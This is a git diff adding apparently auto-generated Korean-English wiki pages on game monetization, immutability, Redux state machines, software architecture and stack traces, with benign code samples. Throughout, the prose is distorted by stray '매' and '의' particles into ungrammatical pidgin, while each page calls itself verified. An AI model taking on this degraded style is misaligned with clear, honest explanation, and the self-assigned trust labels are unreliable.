"banner": "limited_5star_featured",
|
||||
"rates_disclosed": {
|
||||
"5★_featured": 0.0030,
|
||||
"5★_other": 0.0030,
|
||||
"4★_any": 0.0510,
|
||||
"3★_any": 0.9430
|
||||
},
|
||||
"pity_disclosed": { "soft_pity_at": 75, "hard_pity_at": 90 }
|
||||
}
|
||||
```
|
||||
|
||||
### Live ops calendar (offers)
|
||||
```yaml
|
||||
events:
|
||||
- id: "weekend_sale"
|
||||
cadence: "Fri 18:00 → Sun 23:59 KST"
|
||||
discount: 0.20
|
||||
- id: "comeback_offer"
|
||||
trigger: "user.daysSinceLastSession >= 7"
|
||||
contents: [gems: 500, hero_token: 1]
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 competitive PvP | Cosmetic-only — 매 P2W 의 player exodus 의 cause |
|
||||
| 매 RPG/gacha audience | Banner + pity + battle pass |
|
||||
| 매 casual puzzle | Energy gate + remove-ad IAP |
|
||||
| 매 EU/KR market | Disclosure 의 mandatory · 매 gambling-like 의 minor restriction |
|
||||
| 매 retention < D7 | 매 monetize 의 premature — 매 retention 의 fix first |
|
||||
|
||||
**기본값**: 매 cosmetic + battle pass — 매 controversy 의 minimize, 매 long-term retention 의 protect.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Game_Monetization]]
|
||||
- 변형: [[Freemium]]
|
||||
- 응용: [[Gacha]] · [[Loot_Box]] · [[Live_Ops]]
|
||||
- Adjacent: [[Game_Economy]] · [[Player_Retention]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 economy simulation — 매 sink/source balance 의 model, 매 offer copy 의 generate.
|
||||
**언제 X**: 매 ethical decision — 매 manipulative dark pattern 의 design 의 X.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Pay-to-win in PvP**: 매 competitive integrity 의 destroy → 매 churn.
|
||||
- **Hidden gacha rates**: 매 KR/CN illegal · 매 trust 의 destroy.
|
||||
- **Inflation**: 매 currency source > sink — 매 economy 의 break.
|
||||
- **Monetize early**: 매 D1 popup 의 IAP — 매 retention 의 tank.
|
||||
- **Whale-only design**: 매 top 1% 의 only 의 fun — 매 base 의 hollow out.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Schell *Art of Game Design*; KR Game Industry Promotion Act 2024 amend; Sensor Tower 2026 mobile report).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — monetization types, gacha mechanics, regulation |
|
||||
+157
@@ -0,0 +1,157 @@
|
||||
---
|
||||
id: wiki-2026-0508-불변성-immutability
|
||||
title: 불변성 (Immutability)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Immutability, Immutable Data, Persistent Data Structures, 불변 자료구조]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [functional-programming, concurrency, data-structures, design]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: multi
|
||||
framework: Immer/Immutable.js
|
||||
---
|
||||
|
||||
# 불변성 (Immutability)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 생성 후 의 state 의 mutate 의 X — 매 update 의 new value 의 produce."**. 매 shared mutable state 의 concurrency · reasoning · debugging hell 의 root cause — 매 immutable data 의 매 reasoning 의 local 의 keep · race 의 eliminate · 매 time-travel · undo 의 cheap. 2026 modern stack (Rust ownership, Clojure, Immer, structural sharing) 은 매 immutability 의 performance cost 의 near-zero.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 levels
|
||||
- **Reference immutable**: 매 variable rebind X (`const x = ...`).
|
||||
- **Shallow immutable**: 매 object reference X 의 change, 매 nested mutable 가능.
|
||||
- **Deep immutable**: 매 entire tree mutable X (Object.freeze 매 recursive).
|
||||
- **Persistent**: 매 update 의 structural sharing 의 통한 efficient (HAMT, finger tree).
|
||||
|
||||
### 매 benefits
|
||||
- **Concurrency**: 매 lock-free read · 매 race 의 X.
|
||||
- **Equality**: 매 reference equality 의 enough — `prev === next` (React memo).
|
||||
- **Time-travel**: 매 undo/redo · 매 debugging snapshot.
|
||||
- **Predictability**: 매 function 의 input 의 mutate X — 매 reason 의 local.
|
||||
|
||||
### 매 응용
|
||||
1. 매 React/Redux state — 매 immutable update 의 re-render 의 cheap detect.
|
||||
2. 매 Event sourcing — 매 event log immutable.
|
||||
3. 매 functional core, imperative shell pattern.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### JavaScript — Object spread (shallow)
|
||||
```javascript
|
||||
const user = { name: "Ada", age: 30 };
|
||||
const older = { ...user, age: 31 }; // user 의 unchanged
|
||||
```
|
||||
|
||||
### Immer — mutable syntax, immutable result
|
||||
```javascript
|
||||
import { produce } from "immer";
|
||||
|
||||
const next = produce(state, draft => {
|
||||
draft.users[0].name = "Ada"; // 매 draft 의 freely mutate
|
||||
draft.todos.push({ text: "x" });
|
||||
});
|
||||
// next 매 new immutable, state 매 unchanged
|
||||
```
|
||||
|
||||
### Rust — ownership + immutable by default
|
||||
```rust
|
||||
let v = vec![1, 2, 3]; // immutable
|
||||
let mut w = v.clone(); // explicit mut
|
||||
w.push(4);
|
||||
// fn 매 borrow as &T 의 read-only access
|
||||
fn sum(xs: &[i32]) -> i32 { xs.iter().sum() }
|
||||
```
|
||||
|
||||
### Clojure — persistent data structures
|
||||
```clojure
|
||||
(def m {:a 1 :b 2})
|
||||
(def m2 (assoc m :c 3)) ; 매 m unchanged, structural sharing
|
||||
(= (get m :c) nil) ; true
|
||||
```
|
||||
|
||||
### Python — frozen dataclass
|
||||
```python
|
||||
from dataclasses import dataclass, replace
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class User:
|
||||
id: int
|
||||
name: str
|
||||
|
||||
u1 = User(1, "Ada")
|
||||
u2 = replace(u1, name="Grace") # 매 new instance
|
||||
```
|
||||
|
||||
### Immutable.js (Map / List)
|
||||
```javascript
|
||||
import { Map } from "immutable";
|
||||
const m = Map({ a: 1, b: 2 });
|
||||
const m2 = m.set("c", 3); // structural sharing
|
||||
```
|
||||
|
||||
### Event sourcing — append-only
|
||||
```typescript
|
||||
interface Event { type: string; payload: any; ts: number; }
|
||||
class Aggregate {
|
||||
private events: readonly Event[] = [];
|
||||
apply(e: Event) { return new Aggregate([...this.events, e]); }
|
||||
state() { return this.events.reduce(reducer, initial); }
|
||||
}
|
||||
```
|
||||
|
||||
### React — useState 의 immutable update
|
||||
```typescript
|
||||
const [todos, setTodos] = useState<Todo[]>([]);
|
||||
// add
|
||||
setTodos(prev => [...prev, newTodo]);
|
||||
// update by id
|
||||
setTodos(prev => prev.map(t => t.id === id ? { ...t, done: true } : t));
|
||||
// remove
|
||||
setTodos(prev => prev.filter(t => t.id !== id));
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 React/Redux state | Immer or spread |
|
||||
| 매 hot path mutation (10M+/s) | Mutable + 매 boundary 에서 freeze |
|
||||
| 매 deeply nested update | Immer (productivity > raw perf) |
|
||||
| 매 multi-thread shared | Persistent + lock-free read |
|
||||
| 매 audit/compliance | Event sourcing — append-only log |
|
||||
|
||||
**기본값**: 매 default immutable, 매 measured hotspot 의 mutable optimize.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Functional_Programming]]
|
||||
- 변형: [[Persistent_Data_Structures]]
|
||||
- 응용: [[Event Sourcing Pattern|Event_Sourcing]] · [[프론트엔드_및_UIUX_표준|Redux]]
|
||||
- Adjacent: [[Referential_Transparency]] · [[Concurrency]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 mutation bug 의 hunt — 매 trace where state 의 escape, 매 immutable refactor 의 propose.
|
||||
**언제 X**: 매 raw numeric kernel · 매 GPU buffer — 매 in-place 의 unavoidable.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Shallow freeze**: `Object.freeze(x)` 매 nested 의 still mutable — 매 deep freeze 의 필요.
|
||||
- **Mutating in reducer**: Redux `state.x = 1` — 매 silent bug, 매 detect 의 hard.
|
||||
- **Copy 의 매 op**: 매 deep clone 매 every update — 매 structural sharing 의 use.
|
||||
- **Frozen 의 mutate 의 try**: strict mode 매 throw — 매 silent fail 의 X.
|
||||
- **Immutable 의 cargo cult**: 매 single-threaded local var 의 over-immutable — 매 noise.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Okasaki *Purely Functional Data Structures*; Immer docs; Rust Book ch4).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — levels, persistent structures, language patterns |
|
||||
+206
@@ -0,0 +1,206 @@
|
||||
---
|
||||
id: wiki-2026-0508-상태-머신-state-machine-모델링-및-redux-
|
||||
title: 상태 머신 (State Machine) 모델링 및 Redux 액션/리듀서 설계
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [State Machine + Redux, FSM Redux Design, XState + Redux]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [state-machine, redux, xstate, frontend, architecture]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: redux-toolkit
|
||||
---
|
||||
|
||||
# 상태 머신 (State Machine) 모델링 및 Redux 액션/리듀서 설계
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 impossible state 의 unrepresentable 화"**. 매 finite state machine (FSM) 는 explicit state + event + transition 의 enumerate. Redux reducer 는 매 (state, action) → state 의 pure function — 매 FSM 와 isomorphic. 2026 년 매 XState 5 + RTK 의 combine 패턴 의 standard.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 FSM 5-tuple
|
||||
- **States (Q)**: enumerable set — `idle | loading | success | error`.
|
||||
- **Events (Σ)**: external triggers — `FETCH | RESOLVE | REJECT`.
|
||||
- **Transitions (δ)**: `Q × Σ → Q` — 매 partial function.
|
||||
- **Initial state (q₀)**: `idle`.
|
||||
- **Final states (F)**: optional — terminal nodes.
|
||||
|
||||
### 매 Redux 와 mapping
|
||||
- **Reducer = δ**: `(state, action) => newState` 의 pure transition.
|
||||
- **Action = Σ event**: typed discriminated union.
|
||||
- **Store state = Q**: 매 status field 의 enum.
|
||||
- **Selector**: 매 derived view — `isLoading = state.status === 'loading'`.
|
||||
|
||||
### 매 응용
|
||||
1. Form wizard — multi-step flow 의 state 의 explicit.
|
||||
2. Data fetching — idle/loading/success/error 의 4-state.
|
||||
3. Auth flow — anonymous/authenticating/authenticated/expired.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Discriminated union state
|
||||
```typescript
|
||||
type FetchState<T> =
|
||||
| { status: 'idle' }
|
||||
| { status: 'loading' }
|
||||
| { status: 'success'; data: T }
|
||||
| { status: 'error'; error: Error };
|
||||
|
||||
// 매 impossible state ('loading' + data) 의 unrepresentable.
|
||||
```
|
||||
|
||||
### RTK slice = FSM reducer
|
||||
```typescript
|
||||
import { createSlice, PayloadAction } from '@reduxjs/toolkit';
|
||||
|
||||
const userSlice = createSlice({
|
||||
name: 'user',
|
||||
initialState: { status: 'idle' } as FetchState<User>,
|
||||
reducers: {
|
||||
fetch: (state) => {
|
||||
if (state.status === 'idle' || state.status === 'error') {
|
||||
return { status: 'loading' };
|
||||
}
|
||||
return state; // ignore invalid transition
|
||||
},
|
||||
resolve: (_, action: PayloadAction<User>) => ({
|
||||
status: 'success',
|
||||
data: action.payload,
|
||||
}),
|
||||
reject: (_, action: PayloadAction<Error>) => ({
|
||||
status: 'error',
|
||||
error: action.payload,
|
||||
}),
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
### Transition guard table
|
||||
```typescript
|
||||
const TRANSITIONS = {
|
||||
idle: { FETCH: 'loading' },
|
||||
loading: { RESOLVE: 'success', REJECT: 'error' },
|
||||
success: { FETCH: 'loading' },
|
||||
error: { FETCH: 'loading' },
|
||||
} as const;
|
||||
|
||||
function transition<S extends keyof typeof TRANSITIONS>(
|
||||
state: S,
|
||||
event: string
|
||||
): string {
|
||||
return (TRANSITIONS[state] as any)[event] ?? state;
|
||||
}
|
||||
```
|
||||
|
||||
### XState 5 + Redux integration
|
||||
```typescript
|
||||
import { createMachine, createActor } from 'xstate';
|
||||
|
||||
const fetchMachine = createMachine({
|
||||
id: 'fetch',
|
||||
initial: 'idle',
|
||||
states: {
|
||||
idle: { on: { FETCH: 'loading' } },
|
||||
loading: {
|
||||
invoke: {
|
||||
src: 'fetchUser',
|
||||
onDone: { target: 'success', actions: 'storeData' },
|
||||
onError: 'error',
|
||||
},
|
||||
},
|
||||
success: { on: { REFRESH: 'loading' } },
|
||||
error: { on: { RETRY: 'loading' } },
|
||||
},
|
||||
});
|
||||
|
||||
const actor = createActor(fetchMachine).start();
|
||||
actor.subscribe((snapshot) => store.dispatch({ type: 'fsm/sync', payload: snapshot.value }));
|
||||
```
|
||||
|
||||
### Hierarchical (nested) state
|
||||
```typescript
|
||||
// 매 auth flow — 매 sub-state machine.
|
||||
const authMachine = createMachine({
|
||||
initial: 'unauthenticated',
|
||||
states: {
|
||||
unauthenticated: {
|
||||
initial: 'idle',
|
||||
states: {
|
||||
idle: { on: { LOGIN: 'submitting' } },
|
||||
submitting: { on: { SUCCESS: '#auth.authenticated', FAIL: 'idle' } },
|
||||
},
|
||||
},
|
||||
authenticated: {
|
||||
on: { LOGOUT: 'unauthenticated' },
|
||||
},
|
||||
},
|
||||
}, { id: 'auth' });
|
||||
```
|
||||
|
||||
### Parallel state regions
|
||||
```typescript
|
||||
const editorMachine = createMachine({
|
||||
type: 'parallel',
|
||||
states: {
|
||||
document: { initial: 'clean', states: { clean: {}, dirty: {} } },
|
||||
network: { initial: 'online', states: { online: {}, offline: {} } },
|
||||
},
|
||||
});
|
||||
// 매 state = (document, network) 의 cross product — explicit.
|
||||
```
|
||||
|
||||
### Test as transition table
|
||||
```typescript
|
||||
test.each([
|
||||
['idle', 'FETCH', 'loading'],
|
||||
['loading', 'RESOLVE', 'success'],
|
||||
['loading', 'REJECT', 'error'],
|
||||
['success', 'FETCH', 'loading'],
|
||||
])('transition %s --%s--> %s', (from, event, to) => {
|
||||
expect(transition(from, event)).toBe(to);
|
||||
});
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Simple async (fetch) | RTK `createAsyncThunk` + discriminated union |
|
||||
| Multi-step wizard | XState machine |
|
||||
| Complex auth | XState hierarchical machine |
|
||||
| Parallel concerns | XState parallel states |
|
||||
| Pure UI toggle | useState (not Redux) |
|
||||
|
||||
**기본값**: RTK + discriminated union state. 복잡 시 XState 5.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[프론트엔드_및_UIUX_표준|Redux]]
|
||||
- 변형: [[XState]]
|
||||
- 응용: [[Data Fetching]]
|
||||
- Adjacent: [[Discriminated Union]] · [[Pure Function]] · [[Event Sourcing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: state 가 3+ 개 + transition 의 explicit rule 의 필요 시.
|
||||
**언제 X**: simple boolean toggle 또는 single-shot async — 매 overkill.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Boolean explosion**: `isLoading + isError + isSuccess` — impossible state (true+true) 의 representable.
|
||||
- **Implicit transition**: reducer 안 valid state check 의 X — 매 invalid transition 의 silently 발생.
|
||||
- **God reducer**: 매 모든 logic 의 한 reducer — 매 split.
|
||||
- **Side effect in reducer**: `fetch()` 의 reducer 내부 — 매 thunk/saga/middleware 사용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Hopcroft & Ullman *Automata Theory*; Redux docs; XState v5 docs 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — FSM↔Redux mapping + XState 5 patterns |
|
||||
@@ -0,0 +1,161 @@
|
||||
---
|
||||
id: wiki-2026-0508-소프트웨어-아키텍처-설계
|
||||
title: 소프트웨어 아키텍처 설계
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Software Architecture Design, SW Architecture]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, design, software-engineering]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: agnostic
|
||||
framework: agnostic
|
||||
---
|
||||
|
||||
# 소프트웨어 아키텍처 설계
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 architecture는 매 의사결정의 기록이며, 매 변경 비용을 결정한다"**. Bass/Clements/Kazman의 SEI 정의 이후, 매 architecture는 매 코드 자체가 아닌 매 component / connector / constraint의 집합으로 본다. 매 2026 modern view는 매 evolutionary architecture (Ford) — 매 fitness function 으로 매 architectural property 를 매 자동 검증.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 4+1 View (Kruchten)
|
||||
- **Logical**: 매 도메인 객체 / 책임 분배.
|
||||
- **Process**: 매 runtime concurrency / 매 thread / 매 process.
|
||||
- **Development**: 매 module / 매 package 구조.
|
||||
- **Physical**: 매 deployment topology.
|
||||
- **Scenarios (+1)**: 매 use case driven validation.
|
||||
|
||||
### 매 Quality Attributes (ISO/IEC 25010)
|
||||
- **Performance**: latency, throughput.
|
||||
- **Scalability**: horizontal / vertical 확장.
|
||||
- **Availability**: SLA, MTBF, MTTR.
|
||||
- **Security**: CIA triad.
|
||||
- **Modifiability**: 매 변경 cost.
|
||||
- **Testability**: 매 격리 가능성.
|
||||
|
||||
### 매 응용
|
||||
1. C4 model 으로 매 stakeholder communication.
|
||||
2. ADR (Architecture Decision Record) 으로 매 결정 추적.
|
||||
3. Fitness function 으로 매 architectural drift 방지.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### ADR template
|
||||
```markdown
|
||||
# ADR 0042: Adopt CQRS for Order service
|
||||
|
||||
## Status
|
||||
Accepted (2026-05-10)
|
||||
|
||||
## Context
|
||||
Read traffic 100x higher than write. Single Postgres table contention.
|
||||
|
||||
## Decision
|
||||
Split into command (Postgres) + query (Read replica + Redis cache).
|
||||
Event sourcing via Kafka.
|
||||
|
||||
## Consequences
|
||||
+ Read scales independently.
|
||||
- Eventual consistency window ~50ms.
|
||||
- Two data models to maintain.
|
||||
```
|
||||
|
||||
### Fitness function (ArchUnit, Java)
|
||||
```java
|
||||
@AnalyzeClasses(packages = "com.shop")
|
||||
class ArchitectureTest {
|
||||
@ArchTest
|
||||
static final ArchRule domain_independent =
|
||||
noClasses().that().resideInAPackage("..domain..")
|
||||
.should().dependOnClassesThat().resideInAPackage("..infra..");
|
||||
|
||||
@ArchTest
|
||||
static final ArchRule controllers_only_call_services =
|
||||
classes().that().resideInAPackage("..controller..")
|
||||
.should().onlyDependOnClassesThat()
|
||||
.resideInAnyPackage("..service..", "java..");
|
||||
}
|
||||
```
|
||||
|
||||
### C4 Container diagram (Structurizr DSL)
|
||||
```
|
||||
workspace {
|
||||
model {
|
||||
user = person "Customer"
|
||||
shop = softwareSystem "Shop" {
|
||||
web = container "Web App" "React" "TypeScript"
|
||||
api = container "API" "Spring Boot"
|
||||
db = container "Database" "PostgreSQL 16"
|
||||
}
|
||||
user -> web "Browses"
|
||||
web -> api "Calls" "REST/JSON"
|
||||
api -> db "Reads/writes" "JDBC"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Hexagonal Architecture (Python)
|
||||
```python
|
||||
# domain/order.py — pure
|
||||
class Order:
|
||||
def confirm(self) -> "Order": ...
|
||||
|
||||
# application/ports.py
|
||||
class OrderRepo(Protocol):
|
||||
def save(self, o: Order) -> None: ...
|
||||
|
||||
# infra/postgres_order_repo.py — adapter
|
||||
class PostgresOrderRepo:
|
||||
def save(self, o: Order) -> None:
|
||||
self.conn.execute("INSERT ...")
|
||||
```
|
||||
|
||||
### Event Storming output → bounded contexts
|
||||
```
|
||||
[Order Placed] → [Payment Authorized] → [Inventory Reserved] → [Order Confirmed]
|
||||
Order BC Payment BC Inventory BC Order BC
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 small team, simple domain | Modular monolith (Shopify-style) |
|
||||
| 매 high read/write asymmetry | CQRS |
|
||||
| 매 audit critical | Event sourcing |
|
||||
| 매 polyglot / independent scaling | Microservices |
|
||||
| 매 latency critical, ML inference | Service mesh + sidecar |
|
||||
|
||||
**기본값**: 매 modular monolith → 매 evidence 기반 매 split.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[아키텍처 패턴 지식]]
|
||||
- 변형: [[Hexagonal Architecture]] · [[CQRS]] · [[Event Sourcing]]
|
||||
- 응용: [[Microservices]] · [[Cloud_Native|Modular Monolith]]
|
||||
- Adjacent: [[Domain-Driven Design]] · [[ADR]] · [[C4 Model]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 ADR 초안 / 매 trade-off 분석 / 매 quality attribute scenario 생성.
|
||||
**언제 X**: 매 production-grade fitness function 의 자동 작성 — 매 human review 필수.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Big design up-front**: 매 evolution 무시.
|
||||
- **Architecture astronaut**: 매 abstraction layer 과잉.
|
||||
- **Distributed monolith**: 매 microservice 의 분리 but 매 coupling 유지.
|
||||
- **No fitness function**: 매 drift 매 silently.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Bass/Clements/Kazman, *Software Architecture in Practice 4e*; Ford, *Building Evolutionary Architectures 2e*).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — 매 4+1, ADR, fitness function 패턴 추가 |
|
||||
+164
@@ -0,0 +1,164 @@
|
||||
---
|
||||
id: wiki-2026-0508-스택-트레이스-stack-trace
|
||||
title: 스택 트레이스 (Stack Trace)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Stack Trace, Call Stack, Backtrace, 콜스택]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [debugging, observability, error-handling, runtime]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: Python/Go/JS
|
||||
framework: Sentry/OpenTelemetry
|
||||
---
|
||||
|
||||
# 스택 트레이스 (Stack Trace)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 error 의 발생 시점 의 call chain 의 snapshot."**. 매 runtime 의 active frame 의 list — function name · file · line · 매 local variable (optional). 2026 modern observability 는 매 stack trace 의 distributed trace · source map · symbolication · 매 LLM-assisted root cause 의 통합.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 구성 요소
|
||||
- **Frame**: 매 each function call 의 record (caller info).
|
||||
- **Top of stack**: 매 error 의 throw 한 가장 안쪽 frame.
|
||||
- **Bottom**: 매 program entry (main, event loop).
|
||||
- **Symbolication**: 매 minified/compiled binary 의 readable name 의 resolve.
|
||||
|
||||
### 매 종류
|
||||
- **Native**: 매 Go panic, C++ SIGSEGV — debug symbols 의 필요.
|
||||
- **Managed**: JVM, .NET, Python — runtime 의 자동 capture.
|
||||
- **Async**: 매 promise/coroutine — 매 await chain 의 reconstruct (Python 3.11+ exception groups, V8 async stack).
|
||||
- **Distributed**: 매 trace_id + span 의 across-service stack.
|
||||
|
||||
### 매 응용
|
||||
1. 매 production error 의 root cause 의 빠르게 locate.
|
||||
2. 매 performance profiling — 매 sample-based stack 의 hot path 의 reveal.
|
||||
3. 매 security forensics — 매 exploit 의 entry point 의 identify.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Python — full traceback with locals
|
||||
```python
|
||||
import traceback, sys
|
||||
|
||||
try:
|
||||
risky_op()
|
||||
except Exception:
|
||||
tb = traceback.TracebackException.from_exception(
|
||||
sys.exc_info()[1], capture_locals=True
|
||||
)
|
||||
print("".join(tb.format()))
|
||||
```
|
||||
|
||||
### Go — runtime stack
|
||||
```go
|
||||
import "runtime/debug"
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("panic: %v\n%s", r, debug.Stack())
|
||||
}
|
||||
}()
|
||||
```
|
||||
|
||||
### Node.js — async stack 의 enable
|
||||
```js
|
||||
// Node 22+ 매 default
|
||||
Error.stackTraceLimit = 50;
|
||||
process.on("unhandledRejection", (reason) => {
|
||||
console.error(reason instanceof Error ? reason.stack : reason);
|
||||
});
|
||||
```
|
||||
|
||||
### Source map symbolication (browser)
|
||||
```js
|
||||
import { SourceMapConsumer } from "source-map";
|
||||
const raw = await fetch("app.js.map").then(r => r.json());
|
||||
await SourceMapConsumer.with(raw, null, consumer => {
|
||||
const orig = consumer.originalPositionFor({ line: 42, column: 13 });
|
||||
console.log(orig); // { source: "src/app.tsx", line: 117, name: "handleClick" }
|
||||
});
|
||||
```
|
||||
|
||||
### Sentry SDK with breadcrumbs
|
||||
```python
|
||||
import sentry_sdk
|
||||
sentry_sdk.init(dsn="https://...", traces_sample_rate=0.1)
|
||||
|
||||
sentry_sdk.add_breadcrumb(category="auth", message="user login", level="info")
|
||||
# 매 exception 의 자동 capture + breadcrumb chain
|
||||
```
|
||||
|
||||
### OpenTelemetry — stack 의 distributed trace 의 attach
|
||||
```python
|
||||
from opentelemetry import trace
|
||||
span = trace.get_current_span()
|
||||
span.record_exception(exc, attributes={"stack": traceback.format_exc()})
|
||||
```
|
||||
|
||||
### Java — Throwable.getStackTrace
|
||||
```java
|
||||
try { ... } catch (Exception e) {
|
||||
for (StackTraceElement el : e.getStackTrace()) {
|
||||
log.error("{}.{} ({}:{})",
|
||||
el.getClassName(), el.getMethodName(),
|
||||
el.getFileName(), el.getLineNumber());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### LLM-assisted analysis (Claude Opus 4.7)
|
||||
```python
|
||||
prompt = f"""Stack trace:
|
||||
{stack}
|
||||
|
||||
Recent commits:
|
||||
{git_log}
|
||||
|
||||
매 root cause + 매 fix candidate 의 propose."""
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Production unhandled error | Sentry/Datadog 매 자동 capture |
|
||||
| Local dev | Native debugger (gdb, dlv, pdb) |
|
||||
| Async/promise chain | Runtime async stack 의 enable |
|
||||
| Minified prod JS | Source map upload + symbolication |
|
||||
| Distributed call | OTel trace + span exception |
|
||||
|
||||
**기본값**: 매 OTel + Sentry 의 combine — 매 single trace 에서 매 service-crossing stack 의 see.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Debugging]] · [[Observability]]
|
||||
- 변형: [[Distributed_Tracing]]
|
||||
- 응용: [[Profiling]]
|
||||
- Adjacent: [[Source_Maps]] · [[Logging]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 long stack trace 의 summarize, 매 framework noise 의 filter, 매 likely culprit frame 의 highlight.
|
||||
**언제 X**: 매 sensitive PII 의 local variable 의 포함 — sanitize first.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Swallow exception**: `except: pass` — 매 stack 의 lose.
|
||||
- **Re-raise wrong**: 매 `raise e` (Python) 매 traceback 의 truncate — `raise` bare 의 use.
|
||||
- **No source map**: 매 prod minified — stack 의 unreadable.
|
||||
- **Stack 의 user 의 expose**: 매 5xx response 에 raw stack 의 dump — info leak.
|
||||
- **Limit too low**: `Error.stackTraceLimit = 10` 매 root frame 의 cut off.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Python docs traceback module, V8 async stack RFC, Sentry symbolication guide 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — async stacks, symbolication, OTel integration |
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
---
|
||||
id: wiki-2026-0508-시스템-아키텍처-시각화-system-architecture
|
||||
title: 시스템 아키텍처 시각화 (System Architecture Visualization)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Architecture Visualization, C4 Model, Architecture Diagrams]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, visualization, diagrams, c4]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: text
|
||||
framework: structurizr-mermaid-d2
|
||||
---
|
||||
|
||||
# 시스템 아키텍처 시각화 (System Architecture Visualization)
|
||||
|
||||
## 매 한 줄
|
||||
